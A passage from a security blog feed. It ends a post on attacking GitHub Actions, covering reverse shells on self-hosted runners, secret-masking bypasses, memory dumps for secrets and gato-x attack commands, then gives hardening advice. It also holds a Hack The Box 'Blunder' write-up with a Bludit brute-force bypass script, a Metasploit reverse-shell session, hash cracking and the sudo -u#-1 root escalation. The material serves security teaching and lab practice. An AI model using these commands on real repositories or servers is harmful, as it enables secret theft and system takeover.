<li><p>Submit a PR - if they have the "first-time contributor" approval requirement, just fix a typo first to become a "contributor"</p>
</li>
<li><p>Your workflow runs on their runner</p>
</li>
<li><p>Drop a reverse shell or C2 implant</p>
</li>
<li><p>Wait for legitimate jobs to run and steal their secrets</p>
</li>
</ol>
<p>The runner is now your persistent backdoor into their network. You can:</p>
<ul>
<li><p>Steal secrets from future jobs</p>
</li>
<li><p>Pivot through their internal network</p>
</li>
<li><p>Inject backdoors into their release builds</p>
</li>
</ul>
<h2 id="heading-secret-exfiltration">Secret Exfiltration</h2>
<p>GitHub tries to mask secrets in logs, but it's trivial to bypass:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># This gets masked</span>
<span class="hljs-built_in">echo</span> <span class="hljs-variable">${{ secrets.API_KEY }</span>}

<span class="hljs-comment"># This doesn't</span>
<span class="hljs-built_in">echo</span> <span class="hljs-variable">${{ secrets.API_KEY }</span>} | base64

<span class="hljs-comment"># Neither does this</span>
<span class="hljs-built_in">echo</span> <span class="hljs-variable">${{ secrets.API_KEY }</span>} | rev
</code></pre>
<p>But here's where it gets interesting. The runner process itself holds all secrets in memory. On a self-hosted runner where you have execution:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Dump the runner process memory</span>
sudo gcore $(pgrep Runner.Listener)

<span class="hljs-comment"># Extract secrets from the dump</span>
strings core.* | grep -A5 -B5 <span class="hljs-string">"SECRET_NAME"</span>
</code></pre>
<p>Even better - the runner writes temporary script files with secrets hardcoded:</p>
<pre><code class="lang-bash">cat /home/runner/work/_temp/*.sh
</code></pre>
<h2 id="heading-exploiting-with-gato-xhttpsgithubcomadnanekhangato-x">Exploiting with <a target="_blank" href="https://github.com/AdnaneKhan/gato-x">gato-x</a></h2>
<p>Let's break something. The <a target="_blank" href="https://github.com/AdnaneKhan/gato-x">Gato (Github Attack TOolkit) - Extreme Edition</a> tool automates most of this:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Search for vulnerable repos</span>
gato-x s -sg -q <span class="hljs-string">'count:10000 /(issue_comment|pull_request_target)/ file:.github/workflows/ lang:yaml'</span> -oT targets.txt

<span class="hljs-comment"># Enumerate vulnerabilities</span>
gato-x e -R targets.txt

<span class="hljs-comment"># Attack a self-hosted runner (with authorization)</span>
gato-x a --runner-on-runner --target ORG/REPO --target-os linux --target-arch x64
</code></pre>
<h2 id="heading-race-conditions-the-actions-toctou-attack">Race Conditions: The Actions TOCTOU Attack</h2>
<p>Some workflows require manual approval before running PR code. There's a race condition here:</p>
<ol>
<li><p>Submit benign PR</p>
</li>
<li><p>Maintainer reviews and approves</p>
</li>
<li><p>Between approval and execution, force-push malicious code</p>
</li>
<li><p>Runner executes the malicious version</p>
</li>
</ol>
<p>The <a target="_blank" href="https://github.com/AdnaneKhan/ActionsTOCTOU">ActionsTOCTOU tool</a> automates this - it watches for approval and instantly swaps the code.</p>
<h2 id="heading-the-tj-actions-supply-chain-attack">The tj-actions Supply Chain Attack:</h2>
<p>This wasn't some theoretical or imaginary attack. In March 2025, attackers compromised tj-actions/changed-files and hit 23,000+ repos. Here's how they did it:</p>
<ol>
<li><p><strong>Initial foothold</strong>: Found a <code>pull_request_target</code> vulnerability in a completely different repo (spotbugs/sonar-findbugs)</p>
</li>
<li><p><strong>Token theft</strong>: Used it to leak a maintainer's Personal Access Token</p>
</li>
<li><p><strong>Lateral movement</strong>: That maintainer had access to reviewdog/action-setup</p>
</li>
<li><p><strong>Tag manipulation</strong>: Pushed malicious code and updated the <code>v1</code> tag to point to it</p>
</li>
<li><p><strong>Chain reaction</strong>: tj-actions/changed-files used reviewdog in its workflow, got compromised</p>
</li>
<li><p><strong>Mass exploitation</strong>: Updated all tj-actions version tags to dump secrets in logs</p>
</li>
</ol>
<p>The clever bit? They didn't modify the main branch. They just moved the version tags. Everyone pulling <code>@v1</code> or <code>@v35</code> got owned instantly.</p>
<h2 id="heading-testing-your-own-workflows">Testing Your Own Workflows</h2>
<p>Start with the basics:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Find risky triggers</span>
grep -r <span class="hljs-string">"pull_request_target\|workflow_run"</span> .github/workflows/

<span class="hljs-comment"># Find expression injection points</span>
grep -r <span class="hljs-string">'\${{.*github\.event'</span> .github/workflows/

<span class="hljs-comment"># Find self-hosted runners</span>
grep -r <span class="hljs-string">"runs-on:.*self-hosted"</span> .github/workflows/
</code></pre>
<p>For each vulnerable pattern you find, create a test:</p>
<ul>
<li><p>Command injection: Create issues/PRs with payloads</p>
</li>
<li><p>Pwn requests: Fork and submit malicious PRs</p>
</li>
<li><p>Secret leakage: Check artifact contents</p>
</li>
</ul>
<h2 id="heading-defending-this-mess">Defending This Mess</h2>
<p>Pin your actions to commit SHAs, not tags:</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># Bad</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>

<span class="hljs-comment"># Good</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11</span>
</code></pre>
<p>Never interpolate user input directly:</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># Bad</span>
<span class="hljs-attr">run:</span> <span class="hljs-string">echo</span> <span class="hljs-string">"$<span class="hljs-template-variable">{{ github.event.issue.title }}</span>"</span>

<span class="hljs-comment"># Good</span>
<span class="hljs-attr">env:</span>
  <span class="hljs-attr">TITLE:</span> <span class="hljs-string">${{</span> <span class="hljs-string">github.event.issue.title</span> <span class="hljs-string">}}</span>
<span class="hljs-attr">run:</span> <span class="hljs-string">echo</span> <span class="hljs-string">"$TITLE"</span>
</code></pre>
<p>Set minimal permissions:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">permissions:</span>
  <span class="hljs-attr">contents:</span> <span class="hljs-string">read</span>
  <span class="hljs-comment"># Only what you need</span>
</code></pre>
<p>For self-hosted runners: Run them in isolated networks. Use ephemeral containers. Never on public repos unless you enjoy pain.</p>
<h2 id="heading-tldr">TL;DR</h2>
<p>Most organizations have no idea how exposed they are through GitHub Actions. The workflows are public, the attack tools are free, and the payoff for attackers is massive. We're seeing credential theft, supply chain attacks, and full network compromises - all through YAML files that nobody's reviewing.</p>
<p>Start auditing your workflows today. Because if you don't, someone else will.</p>
<h2 id="heading-references">References</h2>
<p><strong>The tj-actions/changed-files Supply Chain Attack</strong><br /><a target="_blank" href="https://thehackernews.com/2025/03/github-action-compromise-puts-cicd.html">The Hacker News: GitHub Action Compromise Puts CI/CD</a></p>
<p><strong>GitHub Actions Script Injection Documentation</strong><br /><a target="_blank" href="https://docs.github.com/en/actions/concepts/security/script-injections">GitHub Docs: Security hardening for GitHub Actions - Script Injections</a></p>
<p><strong>Pwn Request Vulnerabilities Research</strong><br /><a target="_blank" href="https://www.praetorian.com/blog/pwn-request-hacking-microsoft-github-repositories-and-more/">Praetorian: Pwn Request - Hacking Microsoft GitHub Repositories and More</a></p>
<p><strong>Self-Hosted Runner Security Analysis</strong><br /><a target="_blank" href="https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/">Unit 42: GitHub Actions Supply Chain Attack</a></p>
<p><strong>ArtiPACKED Vulnerability Research</strong><br /><a target="_blank" href="https://unit42.paloaltonetworks.com/github-repo-artifacts-leak-tokens/">Unit 42: GitHub Repository Artifacts Leak Tokens</a></p>
]]></content:encoded></item><item><title><![CDATA[HTB: Blunder Writeup 🖥]]></title><description><![CDATA[Tools

Nmap Recon

Dirsearch

Cewl

Python Scripts

hash identifier and decryptor

Metasploit bludit_upload_images_exec Exploit


Summary of Blunder Challenge

Nmap Scan

directory fuzzing

cewl generate wordlist

Use python script to bruteforce Blud...]]></description><link>https://blog.hackncode.com/htb-blunder-writeup</link><guid isPermaLink="true">https://blog.hackncode.com/htb-blunder-writeup</guid><category><![CDATA[hacking]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[Security]]></category><category><![CDATA[offensive-security]]></category><category><![CDATA[cms]]></category><dc:creator><![CDATA[Vinay Varma]]></dc:creator><pubDate>Wed, 01 Jun 2022 16:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1625494905618/GdJ_mPKD-.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-tools">Tools</h1>
<ul>
<li><p>Nmap Recon</p>
</li>
<li><p>Dirsearch</p>
</li>
<li><p>Cewl</p>
</li>
<li><p>Python Scripts</p>
</li>
<li><p>hash identifier and decryptor</p>
</li>
<li><p>Metasploit bludit_upload_images_exec Exploit</p>
</li>
</ul>
<h3 id="heading-summary-of-blunder-challenge"><strong>Summary of Blunder Challenge</strong></h3>
<ul>
<li><p>Nmap Scan</p>
</li>
<li><p>directory fuzzing</p>
</li>
<li><p>cewl generate wordlist</p>
</li>
<li><p>Use python script to bruteforce Bludit CMS’s password to bypass protection</p>
</li>
<li><p>cve-2019-16113,Bludit - Directory Traversal Image File Upload</p>
</li>
<li><p>passwords disclosure</p>
</li>
<li><p>use “sudo -u#-1 /bin/bash” one-liner to privesc - sudo security bypass</p>
</li>
</ul>
<h3 id="heading-initial-enumeration"><strong>Initial Enumeration</strong></h3>
<p>nmap scan port:</p>
<p><code>nmap -sC -sV -Pn 10.10.10.191</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741216383154/73f9917e-cb4c-42a5-820a-0dd915e2609f.webp" alt class="image--center mx-auto" /></p>
<p>Directory Listing since its port 80</p>
<p>Tried Directory Listing with Dirsearch got <code>/admin</code>and <code>/robots</code> directory</p>
<p><code>python3 [dirsearch.py](http://dirsearch.py/) -u [http://10.10.10.191](http://10.10.10.191/) -e *</code></p>
<p>On Fingerprinting got to know its using Bludit CMS</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741216438532/ede945b8-8e5e-497e-95a7-5aeec44a4a6d.webp" alt class="image--center mx-auto" /></p>
<p>On further inspection with Seclists common.</p>
<p><code>wfuzz -c -w Downloads/SecLists-master/Discovery/Web-Content/common.txt --hc 404,403 -u "10.10.10.191/FUZZ.txt" -t 100</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741216501202/7d404bfb-4c93-4991-b2bc-c8301b79c58f.webp" alt class="image--center mx-auto" /></p>
<p>On further Directory Listing with WFuzz got <code>/robots.txt</code> <code>/todo.txt</code> directory</p>
<p>todo.txt has some juicy stuff</p>
<p>fergus looks like a user name based on the comment</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741216538269/e0b03e9e-9c48-47c1-bf96-ac4bd7ada742.webp" alt class="image--center mx-auto" /></p>
<p>Tried to brute for with common passwords wordlist in seclists but no luck this time.</p>
<p>Tried creating a worklist from website using <code>Cewl</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741216572893/a4b6fde5-b632-48a3-ba37-b777b08d3871.webp" alt class="image--center mx-auto" /></p>
<p>Now take this password.txt and fire up the Burp Intruder 🔥</p>
<p>There seems to some sort brute force protection mechanism implemented.</p>
<p>Googled about it and found an exploit immediately.</p>
<p>There is a protection in place but a bypass readily available.</p>
<p><a target="_blank" href="https://rastating.github.io/bludit-brute-force-mitigation-bypass/">https://rastating.github.io/bludit-brute-force-mitigation-bypass/</a></p>
<p>Upon Modifying it a bit.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> requests
<span class="hljs-comment">#from __future__ import print_function</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">open_ressources</span>(<span class="hljs-params">file_path</span>):</span>
    <span class="hljs-keyword">return</span> [item.replace(<span class="hljs-string">"\n"</span>,<span class="hljs-string">""</span>) <span class="hljs-keyword">for</span> item <span class="hljs-keyword">in</span> open(file_path).readlines()]

host = <span class="hljs-string">'http://10.10.10.191'</span>
login_url = host + <span class="hljs-string">'/admin/login'</span>
username = <span class="hljs-string">'fergus'</span>
wordlist = open_ressources(<span class="hljs-string">'/home/kali/Desktop/password.txt'</span>)

<span class="hljs-keyword">for</span> password <span class="hljs-keyword">in</span> wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search(<span class="hljs-string">'input.+?name="tokenCSRF".+?value="(.+?)"'</span>, login_page.text).group(<span class="hljs-number">1</span>)

    print(<span class="hljs-string">'[*] Trying: {p}'</span>.format(p = password))

    headers = {
        <span class="hljs-string">'X-Forwarded-For'</span>: password,
        <span class="hljs-string">'User-Agent'</span>: <span class="hljs-string">'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36'</span>,
        <span class="hljs-string">'Referer'</span>: login_url
    }

    data = {
        <span class="hljs-string">'tokenCSRF'</span>: csrf_token,
        <span class="hljs-string">'username'</span>: username,
        <span class="hljs-string">'password'</span>: password,
        <span class="hljs-string">'save'</span>: <span class="hljs-string">''</span>
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = <span class="hljs-literal">False</span>)

    <span class="hljs-keyword">if</span> <span class="hljs-string">'location'</span> <span class="hljs-keyword">in</span> login_result.headers:
        <span class="hljs-keyword">if</span> <span class="hljs-string">'/admin/dashboard'</span> <span class="hljs-keyword">in</span> login_result.headers[<span class="hljs-string">'location'</span>]:
            print()
            print(<span class="hljs-string">'SUCCESS: Password found!'</span>)
            print(<span class="hljs-string">'Use {u}:{p} to login.'</span>.format(u = username, p = password))
            print()
            <span class="hljs-keyword">break</span>
</code></pre>
<p>Got the password for fergus</p>
<p>Use fergus:RolandDeschain to login to the website.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741216620929/e71ad796-cbe0-4a13-bab0-361c5a2e3360.webp" alt class="image--center mx-auto" /></p>
<p>Successfully able to login to site.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741216649865/ee91c5e7-cd43-4be7-9b96-3d302346db0e.webp" alt class="image--center mx-auto" /></p>
<p>On further googling for exploits found this</p>
<p><a target="_blank" href="https://packetstormsecurity.com/files/155295/Bludit-Directory-Traversal-Image-File-Upload.html">https://packetstormsecurity.com/files/155295/Bludit-Directory-Traversal-Image-File-Upload.html</a></p>
<p><a target="_blank" href="https://www.exploit-db.com/exploits/47699">https://www.exploit-db.com/exploits/47699</a></p>
<p>looks like I'm closer to something.</p>
<p>I used msf to get a shell for easy exploitation.</p>
<p>Spin up Metasploit.</p>
<pre><code class="lang-bash">root@kali:/home/kali<span class="hljs-comment"># msfconsole</span>

IIIIII    dTb.dTb        _.---._
  II     4<span class="hljs-string">'  v  '</span>B   .<span class="hljs-string">'"".'</span>/|\`.<span class="hljs-string">""</span><span class="hljs-string">'.
  II     6.     .P  :  .'</span> / | \ `.  :
  II     <span class="hljs-string">'T;. .;P'</span>  <span class="hljs-string">'.'</span>  /  |  \  `.<span class="hljs-string">'
  II      '</span>T; ;P<span class="hljs-string">'    `. /   |   \ .'</span>
IIIIII     <span class="hljs-string">'YvP'</span>       `-.__|__.-<span class="hljs-string">'

I love shells --egypt

       =[ metasploit v5.0.81-dev                          ]
+ -- --=[ 1987 exploits - 1089 auxiliary - 339 post       ]
+ -- --=[ 559 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: View useful productivity tips with the tip command, or view them all with tip -l

msf5 &gt; use exploit/linux/http/bludit_upload_images_exec
msf5 exploit(linux/http/bludit_upload_images_exec) &gt; set TARGET 0
TARGET =&gt; 0
msf5 exploit(linux/http/bludit_upload_images_exec) &gt; set RHOST 10.10.10.191
RHOST =&gt; 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) &gt;  set RPORT 80
RPORT =&gt; 80
msf5 exploit(linux/http/bludit_upload_images_exec) &gt; set BLUDITUSER fergus
BLUDITUSER =&gt; fergus
msf5 exploit(linux/http/bludit_upload_images_exec) &gt; set BLUDITPASS RolandDeschain
BLUDITPASS =&gt; RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) &gt; exploit

[*] Started reverse TCP handler on 10.10.15.49:4444 
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading wLeZlRdQzE.png...
[*] Uploading .htaccess...
[*] Executing wLeZlRdQzE.png...
[*] Sending stage (38288 bytes) to 10.10.10.191
[*] Meterpreter session 1 opened (10.10.15.49:4444 -&gt; 10.10.10.191:50426) at 2020-06-27 06:35:43 -0400
[+] Deleted .htaccess

meterpreter &gt; shell
Process 3053 created.
Channel 0 created.

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python -c "import pty;pty.spawn('</span>/bin/bash<span class="hljs-string">')"
www-data@blunder:/$ ls
ls
bin    dev  home   lib64       media  proc  sbin  sys  var
boot   etc  lib    libx32      mnt    root  snap  tmp
cdrom  ftp  lib32  lost+found  opt    run   srv   usr
www-data@blunder:/$ cd var/
cd var/
www-data@blunder:/var$ ls
ls
backups  crash  local  log   metrics  run   spool  www
cache    lib    lock   mail  opt      snap  tmp
www-data@blunder:/var$ cd www/
cd www/
www-data@blunder:/var/www$ ls
ls
bludit-3.10.0a  bludit-3.9.2  html
www-data@blunder:/var/www$ cd bludit-3.10.0a
cd bludit-3.10.0a
www-data@blunder:/var/www/bludit-3.10.0a$ ls
ls
LICENSE    bl-content  bl-languages  bl-themes  install.php
README.md  bl-kernel   bl-plugins    index.php
www-data@blunder:/var/www/bludit-3.10.0a$ ls -al
ls -al
total 72
drwxr-xr-x  8 www-data www-data  4096 May 19 15:13 .
drwxr-xr-x  5 root     root      4096 Nov 28  2019 ..
drwxr-xr-x  2 www-data www-data  4096 Oct 19  2019 .github
-rw-r--r--  1 www-data www-data   582 Oct 19  2019 .gitignore
-rw-r--r--  1 www-data www-data   395 Oct 19  2019 .htaccess
-rw-r--r--  1 www-data www-data  1083 Oct 19  2019 LICENSE
-rw-r--r--  1 www-data www-data  2893 Oct 19  2019 README.md
drwxr-xr-x  7 www-data www-data  4096 May 19 10:03 bl-content
drwxr-xr-x 10 www-data www-data  4096 Oct 19  2019 bl-kernel
drwxr-xr-x  2 www-data www-data  4096 Oct 19  2019 bl-languages
drwxr-xr-x 29 www-data www-data  4096 Oct 19  2019 bl-plugins
drwxr-xr-x  5 www-data www-data  4096 Oct 19  2019 bl-themes
-rw-r--r--  1 www-data www-data   900 May 19 11:27 index.php
-rw-r--r--  1 www-data www-data 20306 Oct 19  2019 install.php
www-data@blunder:/var/www/bludit-3.10.0a$ cd bl-content
cd bl-content
www-data@blunder:/var/www/bludit-3.10.0a/bl-content$ ls
ls
databases  pages  tmp  uploads  workspaces
www-data@blunder:/var/www/bludit-3.10.0a/bl-content$ cd databases
cd databases
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ ls
ls
categories.php  plugins       site.php    tags.php
pages.php       security.php  syslog.php  users.php</span>
</code></pre>
<p>Now open user.php</p>
<pre><code class="lang-bash">www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
cat users.php
&lt;?php defined(<span class="hljs-string">'BLUDIT'</span>) or die(<span class="hljs-string">'Bludit CMS.'</span>); ?&gt;
{
    <span class="hljs-string">"admin"</span>: {
        <span class="hljs-string">"nickname"</span>: <span class="hljs-string">"Hugo"</span>,
        <span class="hljs-string">"firstName"</span>: <span class="hljs-string">"Hugo"</span>,
        <span class="hljs-string">"lastName"</span>: <span class="hljs-string">""</span>,
        <span class="hljs-string">"role"</span>: <span class="hljs-string">"User"</span>,
        <span class="hljs-string">"password"</span>: <span class="hljs-string">"faca404fd5c0a31cf1897b823c695c85cffeb98d"</span>,
        <span class="hljs-string">"email"</span>: <span class="hljs-string">""</span>,
        <span class="hljs-string">"registered"</span>: <span class="hljs-string">"2019-11-27 07:40:55"</span>,
        <span class="hljs-string">"tokenRemember"</span>: <span class="hljs-string">""</span>,
        <span class="hljs-string">"tokenAuth"</span>: <span class="hljs-string">"b380cb62057e9da47afce66b4615107d"</span>,
        <span class="hljs-string">"tokenAuthTTL"</span>: <span class="hljs-string">"2009-03-15 14:00"</span>,
        <span class="hljs-string">"twitter"</span>: <span class="hljs-string">""</span>,
        <span class="hljs-string">"facebook"</span>: <span class="hljs-string">""</span>,
        <span class="hljs-string">"instagram"</span>: <span class="hljs-string">""</span>,
        <span class="hljs-string">"codepen"</span>: <span class="hljs-string">""</span>,
        <span class="hljs-string">"linkedin"</span>: <span class="hljs-string">""</span>,
        <span class="hljs-string">"github"</span>: <span class="hljs-string">""</span>,
        <span class="hljs-string">"gitlab"</span>: <span class="hljs-string">""</span>}
}
</code></pre>
<p>We got password for user lets find out what hash is being used.</p>
<p>I used hash Identifier to know the possible hash algorithm used.</p>
<pre><code class="lang-bash">root@kali:/home/kali<span class="hljs-comment"># hashid faca404fd5c0a31cf1897b823c695c85cffeb98d</span>
Analyzing <span class="hljs-string">'faca404fd5c0a31cf1897b823c695c85cffeb98d'</span>
[+] SHA-1 
[+] Double SHA-1 
[+] RIPEMD-160 
[+] Haval-160 
[+] Tiger-160 
[+] HAS-160 
[+] LinkedIn 
[+] Skein-256(160) 
[+] Skein-512(160)
</code></pre>
<p>Using <a target="_blank" href="https://md5decrypt.net/en/Sha1/">https://md5decrypt.net/en/Sha1/</a> I was able get the password value.</p>
<p>faca404fd5c0a31cf1897b823c695c85cffeb98d : Password120</p>
<p>No switch user to hugo and login with credentials</p>
<pre><code class="lang-bash">www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ su hugo
su hugo
Password: Password120
hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ id
id
uid=1001(hugo) gid=1001(hugo) groups=1001(hugo)
hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ <span class="hljs-built_in">cd</span>
<span class="hljs-built_in">cd</span>
hugo@blunder:~$ ls
ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt
hugo@blunder:~$ cat user.txt
cat user.txt
7c*************************b0
</code></pre>
<p>Got the user Flag</p>
<p>Lets check for all available privileges</p>
<pre><code class="lang-bash">hugo@blunder:~$ sudo -l
sudo -l
Password: Password120

Matching Defaults entries <span class="hljs-keyword">for</span> hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/<span class="hljs-built_in">local</span>/sbin\:/usr/<span class="hljs-built_in">local</span>/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
hugo@blunder:~$
</code></pre>
<p><code>(ALL, !root) /bin/bash</code> looks interesting</p>
<p>one googling I was able to get</p>
<p><a target="_blank" href="https://www.exploit-db.com/exploits/47502">https://www.exploit-db.com/exploits/47502</a> which is a sudo 1.8.27 - Security Bypass</p>
<p>Root Privilege Escalation Exploit <code>sudo -u#-1 /bin/bash</code></p>
<pre><code class="lang-bash">hugo@blunder:/$ sudo -u<span class="hljs-comment">#-1 /bin/bash </span>
sudo -u<span class="hljs-comment">#-1 /bin/bash</span>
root@blunder:/<span class="hljs-comment"># id</span>
id
uid=0(root) gid=1001(hugo) groups=1001(hugo)
root@blunder:/<span class="hljs-comment"># ls</span>
ls
bin    dev  home   lib64       media  proc  sbin  sys  var
boot   etc  lib    libx32      mnt    root  snap  tmp
cdrom  ftp  lib32  lost+found  opt    run   srv   usr
root@blunder:/<span class="hljs-comment"># cd root</span>
<span class="hljs-built_in">cd</span> root
root@blunder:/root<span class="hljs-comment"># ls</span>
ls
root.txt
root@blunder:/root<span class="hljs-comment"># cat root.txt</span>
cat root.txt
43************************32
root@blunder:/root<span class="hljs-comment">#</span>
</code></pre>
<p>Getting root flag is so simple.</p>
]]></content:encoded></item></channel></rss>